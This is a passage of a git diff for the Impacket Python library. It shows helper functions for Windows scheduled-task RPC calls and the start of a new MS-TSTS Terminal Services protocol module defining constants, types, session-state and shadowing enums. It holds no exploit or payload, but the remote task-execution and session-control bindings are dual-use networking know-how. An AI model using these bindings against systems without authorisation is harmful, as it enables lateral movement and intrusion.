+    schRpcStop['flags'] = flags
+    return dce.request(schRpcStop)
+
+def hSchRpcRun(dce, path, pArgs=(), flags=0, sessionId=0, user = NULL):
+    schRpcRun = SchRpcRun()
+    schRpcRun['path'] = checkNullString(path)
+    schRpcRun['cArgs'] = len(pArgs)
+    for arg in pArgs:
+        argn = LPWSTR()
+        argn['Data'] = checkNullString(arg)
+        schRpcRun['pArgs'].append(argn)
+    schRpcRun['flags'] = flags
+    schRpcRun['sessionId'] = sessionId
+    schRpcRun['user'] = user
+    return dce.request(schRpcRun)
+
+def hSchRpcDelete(dce, path, flags = 0):
+    schRpcDelete = SchRpcDelete()
+    schRpcDelete['path'] = checkNullString(path)
+    schRpcDelete['flags'] = flags
+    return dce.request(schRpcDelete)
+
+def hSchRpcRename(dce, path, newName, flags = 0):
+    schRpcRename = SchRpcRename()
+    schRpcRename['path'] = checkNullString(path)
+    schRpcRename['newName'] = checkNullString(newName)
+    schRpcRename['flags'] = flags
+    return dce.request(schRpcRename)
+
+def hSchRpcScheduledRuntimes(dce, path, start = NULL, end = NULL, flags = 0, cRequested = 10):
+    schRpcScheduledRuntimes = SchRpcScheduledRuntimes()
+    schRpcScheduledRuntimes['path'] = checkNullString(path)
+    schRpcScheduledRuntimes['start'] = start
+    schRpcScheduledRuntimes['end'] = end
+    schRpcScheduledRuntimes['flags'] = flags
+    schRpcScheduledRuntimes['cRequested'] = cRequested
+    return dce.request(schRpcScheduledRuntimes)
+
+def hSchRpcGetLastRunInfo(dce, path):
+    schRpcGetLastRunInfo = SchRpcGetLastRunInfo()
+    schRpcGetLastRunInfo['path'] = checkNullString(path)
+    return dce.request(schRpcGetLastRunInfo)
+
+def hSchRpcGetTaskInfo(dce, path, flags = 0):
+    schRpcGetTaskInfo = SchRpcGetTaskInfo()
+    schRpcGetTaskInfo['path'] = checkNullString(path)
+    schRpcGetTaskInfo['flags'] = flags
+    return dce.request(schRpcGetTaskInfo)
+
+def hSchRpcGetNumberOfMissedRuns(dce, path):
+    schRpcGetNumberOfMissedRuns = SchRpcGetNumberOfMissedRuns()
+    schRpcGetNumberOfMissedRuns['path'] = checkNullString(path)
+    return dce.request(schRpcGetNumberOfMissedRuns)
+
+def hSchRpcEnableTask(dce, path, enabled = True):
+    schRpcEnableTask = SchRpcEnableTask()
+    schRpcEnableTask['path'] = checkNullString(path)
+    if enabled is True:
+        schRpcEnableTask['enabled'] = 1
+    else:
+        schRpcEnableTask['enabled'] = 0
+    return dce.request(schRpcEnableTask)
diff --git a/impacket/dcerpc/v5/tsts.py b/impacket/dcerpc/v5/tsts.py
new file mode 100644
index 0000000..33a52f8
--- /dev/null
+++ b/impacket/dcerpc/v5/tsts.py
@@ -0,0 +1,3796 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-TSTS] Terminal Services Terminal Server Runtime Interface Protocol implementation
+# 
+# Interface Implementation based on:
+#   [MS-TSTS] - v20210625: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/
+#   [MS-TSTS] – v20080207: https://docplayer.net/22134151-Ms-tsts-terminal-services-terminal-server-runtime-interface-protocol-specification.html
+# 
+#   Some RPC Calls are marked with #COMMENT_LIKE tags with following meaning:
+#       #NOT_IMPLEMENTED : RPC Call or Structure is not implemented in current revision.
+#       #DOES_NOT_WORK   : I was unable to acheive documented response or properly construct RPC request.
+#       #OLD             : RPC Call was taken from [MS-TSTS] – v20080207 documentation, which might be deprecated.
+# 
+#   Some not implemented RPC Calls and structures contains with multi-line comments for future work
+# 
+# Author:
+#   Alexander Korznikov (@nopernik) https://korznikov.com
+#
+
+import struct
+from datetime import datetime
+from ldap3.protocol.formatters.formatters import format_sid
+
+from impacket.dcerpc.v5 import transport
+from impacket.uuid import uuidtup_to_bin, bin_to_string, string_to_bin
+from impacket.dcerpc.v5.ndr import NDR, NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRUniConformantArray, \
+    NDRPOINTER, NDRUniConformantVaryingArray, UNKNOWNDATA
+from impacket.dcerpc.v5.dtypes import NULL, BOOL, BOOLEAN, STR, WSTR, LPWSTR, WIDESTR, RPC_UNICODE_STRING, \
+    LONG, UINT, ULONG, PULONG, LPDWORD, LARGE_INTEGER, DWORD, NDRHYPER, USHORT, UCHAR, PCHAR, BYTE, PBYTE, \
+    UUID, GUID
+from impacket import system_errors
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+################################################################################
+# Constants
+################################################################################
+
+TermSrvSession_UUID      = uuidtup_to_bin(('484809d6-4239-471b-b5bc-61df8c23ac48','1.0'))
+TermSrvNotification_UUID = uuidtup_to_bin(('11899a43-2b68-4a76-92e3-a3d6ad8c26ce','1.0'))
+TermSrvEnumeration_UUID  = uuidtup_to_bin(('88143fd0-c28d-4b2b-8fef-8d882f6a9390','1.0'))
+RCMPublic_UUID           = uuidtup_to_bin(('bde95fdf-eee0-45de-9e12-e5a61cd0d4fe','1.0'))
+RcmListener_UUID         = uuidtup_to_bin(('497d95a6-2d27-4bf5-9bbd-a6046957133c','1.0'))
+LegacyAPI_UUID           = uuidtup_to_bin(('5ca4a760-ebb1-11cf-8611-00a0245420ed','1.0'))
+
+AUDIODRIVENAME_LENGTH                = 9
+WDPREFIX_LENGTH                      = 12
+STACK_ADDRESS_LENGTH                 = 128
+MAX_BR_NAME                          = 65
+DIRECTORY_LENGTH                     = 256
+INITIALPROGRAM_LENGTH                = 256
+USERNAME_LENGTH                      = 20
+DOMAIN_LENGTH                        = 17
+PASSWORD_LENGTH                      = 14
+NASISPECIFICNAME_LENGTH              = 14
+NASIUSERNAME_LENGTH                  = 47
+NASIPASSWORD_LENGTH                  = 24
+NASISESSIONNAME_LENGTH               = 16
+NASIFILESERVER_LENGTH                = 47
+CLIENTDATANAME_LENGTH                = 7
+CLIENTNAME_LENGTH                    = 20
+CLIENTADDRESS_LENGTH                 = 30
+IMEFILENAME_LENGTH                   = 32
+DIRECTORY_LENGTH                     = 256
+CLIENTLICENSE_LENGTH                 = 32
+CLIENTMODEM_LENGTH                   = 40
+CLIENT_PRODUCT_ID_LENGTH             = 32
+MAX_COUNTER_EXTENSIONS               = 2
+WINSTATIONNAME_LENGTH                = 32
+PROTOCOL_CONSOLE                     = 0
+PROTOCOL_ICA                         = 1
+PROTOCOL_TSHARE                      = 2
+PROTOCOL_RDP                         = 2
+PDNAME_LENGTH                        = 32
+WDNAME_LENGTH                        = 32
+CDNAME_LENGTH                        = 32
+DEVICENAME_LENGTH                    = 128
+MODEMNAME_LENGTH                     = DEVICENAME_LENGTH
+CALLBACK_LENGTH                      = 50
+DLLNAME_LENGTH                       = 32
+WINSTATIONCOMMENT_LENGTH             = 60
+MAX_LICENSE_SERVER_LENGTH            = 1024
+LOGONID_CURRENT                      = ULONG
+MAX_PDCONFIG                         = 10
+TERMSRV_TOTAL_SESSIONS               = 1
+TERMSRV_DISC_SESSIONS                = 2
+TERMSRV_RECON_SESSIONS               = 3
+TERMSRV_CURRENT_ACTIVE_SESSIONS      = 4
+TERMSRV_CURRENT_DISC_SESSIONS        = 5
+TERMSRV_PENDING_SESSIONS             = 6
+TERMSRV_SUCC_TOTAL_LOGONS            = 7
+TERMSRV_SUCC_LOCAL_LOGONS            = 8
+TERMSRV_SUCC_REMOTE_LOGONS           = 9
+TERMSRV_SUCC_SESSION0_LOGONS         = 10
+TERMSRV_CURRENT_TERMINATING_SESSIONS = 11
+TERMSRV_CURRENT_LOGGEDON_SESSIONS    = 12
+NO_FALLBACK_DRIVERS                  = 0x0
+FALLBACK_BESTGUESS                   = 0x1
+FALLBACK_PCL                         = 0x2
+FALLBACK_PS                          = 0x3
+FALLBACK_PCLANDPS                    = 0x4
+VIRTUALCHANNELNAME_LENGTH            = 7
+
+WINSTATION_QUERY        = 0x00000001    # WinStationQueryInformation() 
+WINSTATION_SET          = 0x00000002    # WinStationSetInformation() 
+WINSTATION_RESET        = 0x00000004    # WinStationReset() 
+WINSTATION_VIRTUAL      = 0x00000008    # read/write direct data 
+WINSTATION_SHADOW       = 0x00000010    # WinStationShadow() 
+WINSTATION_LOGON        = 0x00000020    # logon to WinStation 
+WINSTATION_LOGOFF       = 0x00000040    # WinStationLogoff() 
+WINSTATION_MSG          = 0x00000080    # WinStationMsg() 
+WINSTATION_CONNECT      = 0x00000100    # WinStationConnect() 
+WINSTATION_DISCONNECT   = 0x00000200    # WinStationDisconnect() 
+
+
+################################################################################
+# Types
+################################################################################
+
+_NDRENUM = NDRENUM
+class NDRENUM(_NDRENUM):
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print(msg, end=' ')
+
+        try:
+            print(" %s" % self.enumItems(self.fields['Data']).name, end=' ')
+        except:
+            print(" %s" % hex(self.fields['Data']), end=' ')
+
+class TS_WCHAR(WSTR):
+    commonHdr = (
+        ('ActualCount','<L=len(Data)//2'),
+    )
+    commonHdr64 = (
+        ('ActualCount','<Q=len(Data)//2'),
+    )
+    structure = (
+        ('Data',':'),
+    )
+    def __getitem__(self, key):
+        if key == 'Data':
+            return self.fields[key].decode('utf-16le')
+        else:
+            return NDR.__getitem__(self,key)
+
+class TS_LPWCHAR(NDRPOINTER):
+    referent = (
+        ('Data', TS_WCHAR),
+    )
+
+class TS_CHAR(STR):
+    commonHdr = (
+        ('ActualCount','<L=len(Data)'),
+    )
+    commonHdr64 = (
+        ('ActualCount','<Q=len(Data)'),
+    )
+    structure = (
+        ('Data',':'),
+    )
+    def __getitem__(self, key):
+        if key == 'Data':
+            return self.fields[key]
+        else:
+            return NDR.__getitem__(self,key)
+
+class SYSTEM_TIMESTAMP(NDRHYPER):
+    def __getitem__(self, key):
+        if key == 'Data':
+            return datetime.fromtimestamp(getUnixTime(int(str(self.fields[key]))))
+        else:
+            return NDR.__getitem__(self,key)
+
+
+# 2.2.2.15.1.1 TS_UNICODE_STRING
+class TS_UNICODE_STRING(NDRSTRUCT):
+    '''
+    typedef struct _TS_UNICODE_STRING {
+        USHORT Length;
+        USHORT MaximumLength;
+        #ifdef __midl
+            [size_is(MaximumLength),length_is(Length)]PWSTR Buffer;
+        #else
+            PWSTR Buffer;
+        #endif
+    } TS_UNICODE_STRING;
+    '''
+    structure = (
+        ('Length', USHORT),
+        ('MaximumLength', USHORT),
+        ('Buffer', LPWSTR),
+    )
+
+class TS_LPCHAR(NDRPOINTER):
+    referent = (
+        ('Data', TS_CHAR),
+    )
+TS_PBYTE = TS_LPCHAR
+
+class TS_WCHAR_STRIPPED(TS_WCHAR):
+    def __getitem__(self, key):
+        if key == 'Data':
+            return self.fields[key].decode('utf-16le').strip('\x00')
+        else:
+            return NDR.__getitem__(self,key)
+
+
+class WIDESTR_STRIPPED(WIDESTR):
+    length = None
+    def __getitem__(self, key):
+        if key == 'Data':
+            return self.fields[key].decode('utf-16le').rstrip('\x00')
+        else:
+            return NDR.__getitem__(self,key)
+    def getDataLen(self, data, offset=0):
+        if self.length is None:
+            return super().getDataLen(data, offset)
+        return self.length * 2
+
+class WSTR_STRIPPED(WSTR):
+    def __getitem__(self, key):
+        if key == 'Data':
+            return self.fields[key].decode('utf-16le').rstrip('\x00')
+        else:
+            return NDR.__getitem__(self,key)
+
+class LPWCHAR_STRIPPED(NDRPOINTER):
+    referent = ( 
+        ('Data', WIDESTR_STRIPPED),
+    )
+
+class LONG_ARRAY(NDRUniConformantArray):
+    item = 'L'
+    def __getitem__(self, key):
+        if key == 'Data':
+            return b''.join(self.fields[key])
+        else:
+            return NDR.__getitem__(self,key)
+
+class UCHAR_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class LPUCHAR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', UCHAR_ARRAY),
+    )
+class WCHAR_ARRAY_32(WIDESTR_STRIPPED):
+    length = 32
+class WCHAR_ARRAY_256(WIDESTR_STRIPPED):
+    length = 256
+class WCHAR_ARRAY_33(WIDESTR_STRIPPED):
+    length = 33    
+class WCHAR_ARRAY_21(WIDESTR_STRIPPED):
+    length = 21
+class WCHAR_ARRAY_18(WIDESTR_STRIPPED):
+    length = 18
+class WCHAR_ARRAY_4(WIDESTR_STRIPPED):
+    length = 4
+class WCHAR_CLIENTNAME_LENGTH(WIDESTR_STRIPPED):
+    length = CLIENTNAME_LENGTH + 1
+class WCHAR_DOMAIN_LENGTH(WIDESTR_STRIPPED):
+    length = DOMAIN_LENGTH + 1
+class WCHAR_USERNAME_LENGTH(WIDESTR_STRIPPED):
+    length = USERNAME_LENGTH + 1
+class WCHAR_PASSWORD_LENGTH(WIDESTR_STRIPPED):
+    length = PASSWORD_LENGTH + 1
+class WCHAR_DIRECTORY_LENGTH(WIDESTR_STRIPPED):
+    length = DIRECTORY_LENGTH + 1
+class WCHAR_INITIALPROGRAM_LENGTH(WIDESTR_STRIPPED):
+    length = INITIALPROGRAM_LENGTH + 1
+class WCHAR_CLIENTADDRESS_LENGTH(WIDESTR_STRIPPED):
+    length = CLIENTADDRESS_LENGTH + 1
+class WCHAR_IMEFILENAME_LENGTH(WIDESTR_STRIPPED):
+    length = IMEFILENAME_LENGTH + 1
+class WCHAR_CLIENTLICENSE_LENGTH(WIDESTR_STRIPPED):
+    length = CLIENTLICENSE_LENGTH + 1
+class WCHAR_CLIENTMODEM_LENGTH(WIDESTR_STRIPPED):
+    length = CLIENTMODEM_LENGTH + 1
+class WCHAR_AUDIODRIVENAME_LENGTH(WIDESTR_STRIPPED):
+    length = AUDIODRIVENAME_LENGTH
+class WCHAR_CLIENT_PRODUCT_ID_LENGTH(WIDESTR_STRIPPED):
+    length = CLIENT_PRODUCT_ID_LENGTH
+class WCHAR_NASIFILESERVER_LENGTH(WIDESTR_STRIPPED):
+    length = NASIFILESERVER_LENGTH + 1
+class WCHAR_CALLBACK_LENGTH(WIDESTR_STRIPPED):
+    length = CALLBACK_LENGTH + 1
+class WCHAR_MAX_BR_NAME(WIDESTR_STRIPPED):
+    length = MAX_BR_NAME
+class WCHAR_WINSTATIONCOMMENT_LENGTH(WIDESTR_STRIPPED):
+    length = WINSTATIONCOMMENT_LENGTH + 1
+
+################################################################################
+# Helpers
+################################################################################
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+    def __str__( self ):
+        key = self.error_code & 0xffff
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 
+            return 'TSTS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'TSTS SessionError: unknown error code: 0x%x' % self.error_code
+
+def ZEROPAD(data, size = None):
+    if size is None:
+        size = len(data)+1
+    assert len(data) <= size, 'Invalid data size!'
+    data += '\0' * ( size - len(data) )
+    return data
+
+def getUnixTime(t):
+    t -= 116444736000000000
+    t /= 10000000
+    return t
+
+def enum2value(enum, key):
+    return enum.enumItems._value2member_map_[key]._name_
+    
+class SID(TS_CHAR):
+    def known_sid(self, sid):
+        knownSids = {
+            'S-1-5-10': r'SELF',
+            'S-1-5-13': r'TERMINAL SERVER USER',
+            'S-1-5-11': r'Authenticated Users',
+            'S-1-5-12': r'RESTRICTED',
+            'S-1-5-14': r'Authenticated Users',
+            'S-1-5-15': r'This Organization',
+            'S-1-5-17': r'IUSR',
+            'S-1-5-18': r'SYSTEM',
+            'S-1-5-19': r'LOCAL SERVICE',
+            'S-1-5-20': r'NETWORK SERVICE',
+        }
+        if sid.startswith('S-1-5-90-0-') and len(sid.split('-')) == 6:
+            return 'DWM-{}'.format(int(sid.split('-')[-1]))
+        elif sid.startswith('S-1-5-96-0-') and len(sid.split('-')) == 6:
+            return 'UMFD-{}'.format(int(sid.split('-')[-1]))
+        elif sid in knownSids:
+            return knownSids[sid]
+        return sid
+    def __getitem__(self, key):
+        if key == 'Data':
+            sid = format_sid(self.fields[key])
+            if not len(sid):
+                return ''
+            return self.known_sid(sid)
+        else:
+            return NDR.__getitem__(self,key)
+
+################################################################################
+# Handles
+################################################################################
+
+class context_handle(NDRSTRUCT):
+    structure = (
+         ('context_handle_attributes',ULONG),
+         ('context_handle_uuid',UUID),
+    )
+    def getUUID(self):
+        return bin_to_string(self['context_handle_uuid'])
+    def tuple(self):
+        return (bin_to_string(self['context_handle_uuid']),self['context_handle_attributes'])
+    def from_tuple(self, tup):
+        self['context_handle_uuid'], self['context_handle_attributes'] = (string_to_bin(tup[0]), tup[1])
+    def __init__(self, data=None, isNDR64=False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        self['context_handle_uuid'] = b'\x00'*16
+    def isNull(self):
+        return self['context_handle_uuid'] == b'\x00'*16
+    def __str__(self):
+        return bin_to_string(self['context_handle_uuid'])
+
+class handle_t(NDRSTRUCT):
+    structure =  (
+        ('Data','20s=b""'),
+    )
+    def getAlignment(self):
+        if self._isNDR64 is True:
+            return 8
+        else:
+            return 4
+
+# 2.2.1.2 ENUM_HANDLE
+ENUM_HANDLE = context_handle
+
+class pHandle(NDRPOINTER):
+    referent =  (
+        ('Data', handle_t),
+    )
+# 2.2.1.3 HLISTENER
+HLISTENER = context_handle
+
+# 2.2.1.4 SERVER_HANDLE
+SERVER_HANDLE = context_handle
+
+# 2.2.1.15 NOTIFY_HANDLE
+NOTIFY_HANDLE = context_handle
+
+# 2.2.1.1 SESSION_HANDLE
+SESSION_HANDLE = context_handle
+
+################################################################################
+# Structures
+################################################################################
+
+class MSGBOX_ENUM(NDRENUM):
+    class enumItems(Enum):
+        IDABORT     = 3     # The Abort button was selected.
+        IDCANCEL    = 2     # The Cancel button was selected.
+        IDIGNORE    = 5     # The Ignore button was selected.
+        IDNO        = 7     # The No button was selected.
+        IDOK        = 1     # The OK button was selected.
+        IDRETRY     = 4     # The Retry button was selected.
+        IDYES       = 6     # The Yes button was selected.
+        IDASYNC     = 32001 # The bDoNotWait parameter was TRUE, so the function returned without waiting for a response.
+        IDTIMEOUT   = 32000 # The bDoNotWait parameter was FALSE and the time-out interval elapsed.
+
+class ShutdownFlags(NDRENUM):
+    structure = (
+        ('Data','<L'),
+    )
+    class enumItems(Enum):
+        WSD_LOGOFF   = 0x00000001 # Forces sessions to logoff.
+        WSD_SHUTDOWN = 0x00000002 # Shuts down the system.
+        WSD_REBOOT   = 0x00000004 # Reboots after shutdown.
+        WSD_POWEROFF = 0x00000008 # Powers off after shutdown.
+
+class HotKeyModifiers(NDRENUM):
+    structure = (
+        ('Data', '<H'),
+    )
+    NONE        = 0
+    Alt         = 1     # MOD_ALT
+    Control     = 2     # MOD_CONTROL
+    Shift       = 4     # MOD_SHIFT
+    WindowsKey  = 8     # MOD_WIN
+
+
+class EventFlags(NDRENUM):
+    structure = (
+        ('Data','<L'),
+    )
+    class enumItems(Enum):
+        WEVENT_NONE         = 0x00000000    # The client requests to clear its event wait block. This MUST be called when completing waiting for the event. When RpcWinStationCloseServer is called for hServer, this method and mask value is called on the client's behalf.
+        WEVENT_CREATE       = 0x00000001    # Wait for a new session to be created.
+        WEVENT_DELETE       = 0x00000002    # Wait for an existing session to be deleted.
+        WEVENT_RENAME       = 0x00000004    # Wait for a session to be renamed.
+        WEVENT_CONNECT      = 0x00000008    # The session connected to a client.
+        WEVENT_DISCONNECT   = 0x00000010    # A client disconnected from the session.
+        WEVENT_LOGON        = 0x00000020    # A user logged on to the session.
+        WEVENT_LOGOFF       = 0x00000040    # A user logged off from the session.
+        WEVENT_STATECHANGE  = 0x00000080    # The session state changed.
+        WEVENT_LICENSE      = 0x00000100    # The license state changed.<183>
+        WEVENT_ALL          = 0x7fffffff    # Wait for all event types.
+        WEVENT_FLUSH        = 0x80000000    # Release all waiting clients.
+
+class ADDRESSFAMILY_ENUM(NDRENUM):
+    structure = (
+        ('Data','<L'),
+    )
+    class enumItems(Enum):
+        AppleTalk               = 16
+        Atm                     = 22
+        Banyan                  = 21
+        Ccitt                   = 10
+        Chaos                   = 5
+        Cluster                 = 24
+        ControllerAreaNetwork   = 65537
+        DataKit                 = 9
+        DataLink                = 13
+        DecNet                  = 12
+        Ecma                    = 8
+        FireFox                 = 19
+        HyperChannel            = 15
+        Ieee12844               = 25
+        ImpLink                 = 3
+        InterNetwork            = 2
+        InterNetworkV6          = 23
+        Ipx                     = 6
+        Irda                    = 26
+        Iso                     = 7
+        Lat                     = 14
+        Max                     = 29
+        NetBios                 = 17
+        NetworkDesigners        = 28
+        NS                      = 6
+        Osi                     = 7
+        Packet                  = 65536
+        Pup                     = 4
+        Sna                     = 11
+        Unix	                = 1	
+        Unspecified             = 0
+        VoiceView               = 18
+
+# 2.2.1.5 WINSTATIONNAME #FIXME
+class WINSTATIONNAME(WIDESTR_STRIPPED):
+    length = WINSTATIONNAME_LENGTH + 1
+
+# 2.2.1.6 DLLNAME
+class DLLNAME(WIDESTR):
+    def getDataLen(self, data, offset=0):
+        return DLLNAME_LENGTH + 1
+
+class PDLLNAME(NDRPOINTER):
+    referent = (
+        ('Data', DLLNAME),
+    )
+
+# 2.2.1.7 DLLNAME
+class DEVICENAME(WIDESTR):
+    def getDataLen(self, data, offset=0):
+        return DEVICENAME_LENGTH + 1
+
+class PDEVICENAME(NDRPOINTER):
+    referent = (
+        ('Data', DEVICENAME),
+    )
+
+
+# 2.2.1.13 CLIENTDATANAME #FIXME
+class CLIENTDATANAME(STR):
+    def getDataLen(self, data, offset=0):
+        return CLIENTDATANAME_LENGTH + 1
+
+class PCLIENTDATANAME(NDRPOINTER):
+    referent = (
+        ('Data', CLIENTDATANAME),
+    )
+
+
+# 2.2.1.8 WINSTATIONINFOCLASS
+class WINSTATIONINFOCLASS(NDRENUM):
+    class enumItems(Enum):
+        WinStationCreateData                = 0
+        WinStationConfiguration             = 1
+        WinStationPdParams                  = 2
+        WinStationWd                        = 3
+        WinStationPd                        = 4
+        WinStationPrinter                   = 5
+        WinStationClient                    = 6
+        WinStationModules                   = 7
+        WinStationInformation               = 8
+        WinStationTrace                     = 9
+        WinStationBeep                      = 10
+        WinStationEncryptionOff             = 11
+        WinStationEncryptionPerm            = 12
+        WinStationNtSecurity                = 13
+        WinStationUserToken                 = 14
+        WinStationUnused1                   = 15
+        WinStationVideoData                 = 16
+        WinStationInitialProgram            = 17
+        WinStationCd                        = 18
+        WinStationSystemTrace               = 19
+        WinStationVirtualData               = 20
+        WinStationClientData                = 21
+        WinStationSecureDesktopEnter        = 22
+        WinStationSecureDesktopExit         = 23
+        WinStationLoadBalanceSessionTarget  = 24
+        WinStationLoadIndicator             = 25
+        WinStationShadowInfo                = 26
+        WinStationDigProductId              = 27
+        WinStationLockedState               = 28
+        WinStationRemoteAddress             = 29
+        WinStationIdleTime                  = 30
+        WinStationLastReconnectType         = 31
+        WinStationDisallowAutoReconnect     = 32
+        WinStationUnused2                   = 33
+        WinStationUnused3                   = 34
+        WinStationUnused4                   = 35
+        WinStationUnused5                   = 36
+        WinStationReconnectedFromId         = 37
+        WinStationEffectsPolicy             = 38
+        WinStationType                      = 39
+        WinStationInformationEx             = 40
+
+# 2.2.1.9 WINSTATIONSTATECLASS
+class WINSTATIONSTATECLASS(NDRENUM):
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        State_Active        = 0 # A user is logged on to a session and the client is connected.
+        State_Connected     = 1 # A client is connected to a session but the user has not yet logged on.
+        State_ConnectQuery  = 2 # A session is in the process of connecting to a client.
+        State_Shadow        = 3 # A session is shadowing another session
+        State_Disconnected  = 4 # A user is logged on to the session but the client is currently disconnected from the server.
+        State_Idle          = 5 # A session is waiting for a client to connect to the server.
+        State_Listen        = 6 # A listener is waiting for connections from the Terminal Services client.
+        State_Reset         = 7 # A session is being reset. As a result, the user is logged off, the session is terminated, and the client is disconnected.
+        State_Down          = 8 # A session is currently tearing down or is in the down state, indicating an error.
+        State_Init          = 9 # A session is in the process of being initialized.
+
+# 2.2.1.10 SDCLASS
+class SDCLASS(NDRENUM):
+    class enumItems(Enum):
+        SdNone          = 0
+        SdConsole       = 1
+        SdNetwork       = 2
+        SdAsync         = 3
+        SdOemTransport  = 4
+
+# 2.2.1.11 SHADOWCLASS
+class SHADOWCLASS(NDRENUM):
+    class enumItems(Enum):
+        Shadow_Disable                  = 0
+        Shadow_EnableInputNotify        = 1
+        Shadow_EnableInputNoNotify      = 2
+        Shadow_EnableNoInputNotify      = 3
+        Shadow_EnableNoInputNoNotify    = 4
+
+# 2.2.1.12 SHADOWCLASS
+class RECONNECT_TYPE(NDRENUM):
+    class enumItems(Enum):
+        NeverReconnected = 0
+        ManualReconnect  = 1
+        AutoReconnect    = 2
+
+class PRECONNECT_TYPE(NDRPOINTER):
+    referent = (
+        ('Data', RECONNECT_TYPE),
+    )
+
+# 2.2.1.6 BOUNDED_ULONG
+BOUNDED_ULONG = ULONG #FIXME: typedef [range(0, 0x8000)] ULONG BOUNDED_ULONG; as scmr.py@282 it should work
+
+# 2.2.1.17 UINT_PTR
+class UINT_PTR(NDRPOINTER):
+    referent = ( 
+        ('Data', UINT),
+    )
+
+# 2.2.1.18 SESSIONTYPE
+class SESSIONTYPE(NDRENUM):
+    class enumItems(Enum):
+        SESSIONTYPE_UNKNOWN         = 0 # The type of the session cannot be determined.
+        SESSIONTYPE_SERVICES        = 1 # The session is used only to run the operating system services, and that no user can be logged on to the session.
+        SESSIONTYPE_LISTENER        = 2 # The session is used only to run the Terminal Services listeners, and that no user can be logged on to the session.
+        SESSIONTYPE_REGULARDESKTOP  = 3 # The session is connected by using Terminal Services and is running the standard shell.
+        SESSIONTYPE_ALTERNATESHELL  = 4 # The session is connected by using Terminal Services and is running an alternate shell instead of the standard shell
+        SESSIONTYPE_REMOTEAPP       = 5 # The session is a RAIL (Remote Applications Integrated Locally) session as defined in [MS-RDPERP].
+        SESSIONTYPE_MEDIACENTEREXT  = 6 # The session was connected by using a media center extender device. For more information about the media center, see [MSFT-WINMCE].
+
+# 2.2.1.19 SHADOW_CONTROL_REQUEST
+class SHADOW_CONTROL_REQUEST(NDRENUM):
+    class enumItems(Enum):
+        SHADOW_CONTROL_REQUEST_VIEW         = 0 # The shadow request is for a view-only session. User input is not being requested.
+        SHADOW_CONTROL_REQUEST_TAKECONTROL  = 1 # User input control is being requested.
+        SHADOW_CONTROL_REQUEST_Count        = 2 # Count of enum values.
+
+# 2.2.1.20 SHADOW_PERMISSION_REQUEST
+class SHADOW_PERMISSION_REQUEST(NDRENUM):
+    class enumItems(Enum):
+        SHADOW_PERMISSION_REQUEST_SILENT            = 0 # Permission is not requested.
+        SHADOW_PERMISSION_REQUEST_REQUESTPERMISSION = 1 # User permission will be requested before the shadow session begins.
+        SHADOW_PERMISSION_REQUEST_Count             = 2 # Count of enum values.
+
+# 2.2.1.21 SHADOW_REQUEST_RESPONSE
+class SHADOW_REQUEST_RESPONSE(NDRENUM):
+    class enumItems(Enum):
+        SHADOW_REQUEST_RESPONSE_ALLOW                                   = 0 # The user has granted the request for permission to shadow the session.
+        SHADOW_REQUEST_RESPONSE_DECLINE                                 = 1 # The user has declined the request for permission to shadow the session.
+        SHADOW_REQUEST_RESPONSE_POLICY_PERMISSION_REQUIRED              = 2 # Permission was not requested, but group policy specifies that permission is required.
+        SHADOW_REQUEST_RESPONSE_POLICY_DISABLED                         = 3 # Shadowing has been disabled by group policy.
+        SHADOW_REQUEST_RESPONSE_POLICY_VIEW_ONLY                        = 4 # A request for control was made, but group policy exclusively allows view-only shadowing.
+        SHADOW_REQUEST_RESPONSE_POLICY_VIEW_ONLY_PERMISSION_REQUIRED    = 5 # A request was made to take control without requesting permission,
+                                                                            # but group policy exclusively allows viewonly shadowing and also requires permission.
+        SHADOW_REQUEST_RESPONSE_SESSION_ALREADY_CONTROLLED              = 6 # The session cannot be shadowed because another shadow session is currently controlling the session.
+
+# 2.2.2.1 SESSION_FILTER #FIXME
+class SESSION_FILTER(NDRENUM):
+    class enumItems(Enum):
+        SF_SERVICES_SESSION_POPUP = 0
+
+# 2.2.2.2 PROTOCOLSTATUS_INFO_TYPE
+class PROTOCOLSTATUS_INFO_TYPE(NDRENUM):
+    class enumItems(Enum):
+        PROTOCOLSTATUS_INFO_BASIC    = 0
+        PROTOCOLSTATUS_INFO_EXTENDED = 1
+
+# 2.2.2.3 QUERY_SESSION_DATA_TYPE
+class QUERY_SESSION_DATA_TYPE(NDRENUM):
+    class enumItems(Enum):
+        QUERY_SESSION_DATA_MODULE               = 0
+        QUERY_SESSION_DATA_WDCONFIG             = 1
+        QUERY_SESSION_DATA_VIRTUALDATA          = 2
+        QUERY_SESSION_DATA_LICENSE              = 3
+        QUERY_SESSION_DATA_DEVICEID             = 4
+        QUERY_SESSION_DATA_LICENSE_VALIDATION   = 5
+
+
+# 2.2.2.4.1.1 SESSIONENUM_LEVEL1
+class SESSIONENUM_LEVEL1(NDRSTRUCT):
+    structure = (
+        ('SessionId', LONG),
+        ('State', WINSTATIONSTATECLASS),
+        ('Name', WCHAR_ARRAY_33)
+    )
+
+# 2.2.2.4.1.2 SESSIONENUM_LEVEL2
+class SESSIONENUM_LEVEL2(NDRSTRUCT):
+    structure = (
+        ('SessionId', LONG),
+        ('State', WINSTATIONSTATECLASS),
+        ('Name', WCHAR_ARRAY_33), # WCHAR Name[33]
+        ('Source', ULONG),
+        ('bFullDesktop', BOOLEAN),
